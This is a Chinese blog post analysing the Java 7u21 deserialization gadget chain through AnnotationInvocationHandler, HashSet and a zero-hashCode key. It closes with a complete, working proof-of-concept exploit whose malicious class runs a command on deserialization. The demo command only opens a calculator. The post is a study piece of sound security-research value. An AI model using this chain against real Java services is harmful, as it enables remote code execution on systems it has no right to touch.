Java 7u21反序列化
本文最后更新于 49 天前,其中的信息可能已经有所发展或是发生改变。

库存,翻到了

庆幸的是领导终于走了,这该死的评估,最近状态也是慢慢回来了,就因为这鬼评估,好多事都做不了

但是坏消息是,期末周该复习了bro😭

正题开始

反序列化触发的核心在于“动态方法执行”

sun.reflect.annotation.AnnotationInvocationHandler#equalsImpl()

private Boolean equalsImpl(Object var1) {
   // 1. 自身引用检查:如果是同一个对象,直接返回 true
   if (var1 == this) {
       return true;
  }
   // 2. 类型检查:检查传入的对象 var1 是否是 this.type 的实例
   // 在 7u21 利用中,this.type 被攻击者设置为 Templates.class
   // 而 var1 是恶意的 TemplatesImpl 对象,它是 Templates 的实现类,所以这里 check 通过!
   else if (!this.type.isInstance(var1)) {
       return false;
  } else {
       // 3. 遍历 this.type (即接口) 的所有方法
       for(Method var5 : this.getMemberMethods()) {
           String var6 = var5.getName();
           Object var7 = this.memberValues.get(var6); // 获取代理对象自身的属性值
           Object var8 = null;
           
           // 4. 尝试将 var1 当作 AnnotationInvocationHandler 处理
           AnnotationInvocationHandler var9 = this.asOneOfUs(var1);
           
           if (var9 != null) {
               var8 = var9.memberValues.get(var6);
          } else {
               // 5. 【高危漏洞点】
               // 如果 var1 不是 AnnotationInvocationHandler,代码会尝试通过反射
               // 调用 var1 身上对应的方法来获取值,以便进行后续的对比。
               try {
                   var8 = var5.invoke(var1); // <--- 这里就是代码执行的触发点!
              } catch (InvocationTargetException var11) {
                   return false;
              } catch (IllegalAccessException var12) {
                   throw new AssertionError(var12);
              }
          }

           // 6. 对比值,这步已经不重要了,因为上面已经执行了恶意代码
           if (!memberValueEquals(var7, var8)) {
               return false;
          }
      }

       return true;
  }
}

接收var1,经过一系列检查后,进入for循环遍历,再检查后条件符合会调用到invoke()

正如注释中所写的利用方式就是我们要打的利用链方式,由于会遍历到类中的所有方法,就一定会遍历到newTransformer() 或 getOutputProperties() 方法,进而触发任意代码执行

如何调用equalsImpl()

由于其是一个私有方法,在AnnotationInvocationHandler#invoke()中被调用

public Object invoke(Object var1, Method var2, Object[] var3) {
       String var4 = var2.getName();
       Class[] var5 = var2.getParameterTypes();
       if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
           return this.equalsImpl(var3[0]);
      } else {
           assert var5.length == 0;

           if (var4.equals("toString")) {
               return this.toStringImpl();
          } else if (var4.equals("hashCode")) {
               return this.hashCodeImpl();
          } else if (var4.equals("annotationType")) {
               return this.type;
          } else {
               Object var6 = this.memberValues.get(var4);
               if (var6 == null) {
                   throw new IncompleteAnnotationException(this.type, var4);
              } else if (var6 instanceof ExceptionProxy) {
                   throw ((ExceptionProxy)var6).generateException();
              } else {
                   if (var6.getClass().isArray() && Array.getLength(var6) != 0) {
                       var6 = this.cloneArray(var6);
                  }

                   return var6;
              }
          }
      }
  }

AnnotationInvocationHandler#invoke中被调用,其实我们一看就知道是有关动态代理的类,若调用了代理类实现的接口方法的话就会自动调用到invoke方法,我们看到代码调用到equalsImpl的条件是,这个方法必须为equals,并且要求有一个参数个数,要调用到equals()

我们想到set方法,因为set存储元素不重复,有序,所以在为Set添加元素时候会进行比对

HashSet的readObject方法设计到equals方法,然后我们看到其readObject方法

private void readObject(java.io.ObjectInputStream s)
   throws java.io.IOException, ClassNotFoundException {
   // Read in any hidden serialization magic
   s.defaultReadObject();

   // Read in HashMap capacity and load factor and create backing HashMap
   int capacity = s.readInt();
   float loadFactor = s.readFloat();
   map = (((HashSet)this) instanceof LinkedHashSet ?
          new LinkedHashMap<E,Object>(capacity, loadFactor) :
          new HashMap<E,Object>(capacity, loadFactor));

   // Read in size
   int size = s.readInt();

   // Read in all elements in the proper order.
   for (int i=0; i<size; i++) {
       E e = (E) s.readObject();
       map.put(e, PRESENT);
  }
}

可以看到最后会new一个HashMap,然后会将此HashSet中所有的元素都遍历作为key存放到Map中,因为Set存储元素不重复,所以Key既是Value,value的赋值是java所设计的一个常量PRESENT充当存储

其中equals()在map.put中调用到,即HashMap#equals()方法

public V put(K key, V value) {
   if (key == null)
       return putForNullKey(value);
   int hash = hash(key);
   int i = indexFor(hash, table.length);
   for (Entry<K,V> e = table[i]; e != null; e = e.next) {
       Object k;
       if (e.hash == hash && ((k = e.key) == key || key.equals(k))) {
           V oldValue = e.value;
           e.value = value;
           e.recordAccess(this);
           return oldValue;
      }
  }

   modCount++;
   addEntry(hash, key, value, i);
   return null;
}

如果我们要调用到key.equals(k)–>proxy.equals(templates)就需要满足

这里Key是代理对象,k是恶意templates

要求满足他们的hash值需要相等,我们看到hash()方法

final int hash(Object k) {
   int h = 0;
   if (useAltHashing) {
       if (k instanceof String) {
           return sun.misc.Hashing.stringHash32((String) k);
      }
       h = hashSeed;
  }

   h ^= k.hashCode();

   // This function ensures that hashCodes that differ only by
   // constant multiples at each bit position have a bounded
   // number of collisions (approximately 8 at default load factor).
   h ^= (h >>> 20) ^ (h >>> 12);
   return h ^ (h >>> 7) ^ (h >>> 4);
}

由于我们是通过动态代理去触发的,所以走的是Annotationinvocationhandler#invoke()

那里经过判断会调用到hashCodeImpl

private int hashCodeImpl() {
       int var1 = 0;

       for(Map.Entry var3 : this.memberValues.entrySet()) {
           var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue());
      }

       return var1;
  }

遍历memberValues的每个键值对,计算每个127*key.hashCode()^value.hashCode()然后求和

memberValues是通过构造函数传入的var2

有以下几种情况:

  • memberValues也就是map中只有一个key-value时,hash值就是 0+(127 * key.hashCode())^value.hashCode()
  • key.hashCode()等于0时,hash值是value.hashCode()
  • value是Templateslmpl对象的时候,value.hashCode()就是templateslmpl.hashCode()

所以我们去构造一个只包含一个Key-Value的map就可以,令Key.hashCode()为0,所以最后的hash就会简化为Value.hashCode()

当value为TemplateImpl对象时,就会变为TemplateImpl.hashCode(),如此经过处理后,proxy的hashCode就和templates的hashCode相等了

这里利用P神的脚本

public class Text {
   public static void main(String[] args) {
       for (long i = 0; i < 9999999999L; i++) {
           if (Long.toHexString(i).hashCode() == 0) {
               System.out.println(Long.toHexString(i));
          }
      }
  }
}

f5a5a608

利用链

HashSet#readObject() (开始循环)

HashMap#put(proxy) (放入第二个元素)

proxy#hashCode() -> ... -> 算出 Hash 值 X

Hash 碰撞检测 (发现 Map 里已有的 TemplatesImpl Hash 也是 X)

proxy.equals(templatesImpl) (因为碰撞而被迫调用)

AnnotationInvocationHandler#invoke()

AnnotationInvocationHandler#equalsImpl()

templatesImpl.getOutputProperties() (反射调用)

TemplatesImpl 动态加载字节码 (RCE)

POC

准备的恶意类

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

// 1. 必须继承 AbstractTranslet
public class EXP extends AbstractTranslet {

  // 2. 建议将恶意代码放在静态代码块中
  // 这样在类加载阶段(比构造函数更早)就能触发
  static {
      try {
          // Mac 弹计算器
          Runtime.getRuntime().exec("open -a Calculator");
          // Windows 用 calc
          // Runtime.getRuntime().exec("calc");
          System.out.println("Exploit success! Payload executed.");
      } catch (Exception e) {
          e.printStackTrace();
      }
  }

  public EXP() {
      // 构造函数也可以放,但静态块更保险
  }

  // 3. 必须实现这两个抽象方法,否则编译报错。方法体留空即可。
  @Override
  public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
  }

  @Override
  public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
  }
}
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;

public class POC2 {

  public static void main(String[] args) throws Exception {
      // 1. 准备恶意 TemplatesImpl 对象
      byte[] code = Files.readAllBytes(Paths.get("/Users/_sun_empty./Downloads/jdk7u21_ser/src/main/java/EXP.class"));
      TemplatesImpl templates = new TemplatesImpl();
      setValue(templates, "_bytecodes", new byte[][]{code});
      setValue(templates, "_name", "sss");
      setValue(templates, "_tfactory", new TransformerFactoryImpl());

      // 2. 构造哈希碰撞的 Map
      // 核心逻辑:(127 * 0) ^ templates.hashCode() == templates.hashCode()
      HashMap<String, Object> map = new HashMap<>();
      map.put("f5a5a608", templates); // key.hashCode() == 0

      // 3. 生成动态代理 (Proxy)
      // 使用反射获取 AnnotationInvocationHandler 的构造器
      Constructor ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler")
              .getDeclaredConstructor(Class.class, Map.class);
      ctor.setAccessible(true);
      InvocationHandler handler = (InvocationHandler) ctor.newInstance(Templates.class, map);

      Templates proxy = (Templates) Proxy.newProxyInstance(
              ClassLoader.getSystemClassLoader(),
              new Class[]{Templates.class},
              handler
      );

      // 4. 放入 HashSet 触发序列化逻辑
      HashSet<Object> set = new HashSet<>();
      set.add(templates);
      set.add(proxy);

      // 5. 序列化与反序列化验证
      ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("poc.ser"));
      oos.writeObject(set);
      oos.close();
       
      new ObjectInputStream(new FileInputStream("poc.ser")).readObject();
  }
   
  public static void setValue(Object obj, String fieldName, Object value) throws Exception {
      Field field = obj.getClass().getDeclaredField(fieldName);
      field.setAccessible(true);
      field.set(obj, value);
  }
}

展现极简主义

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇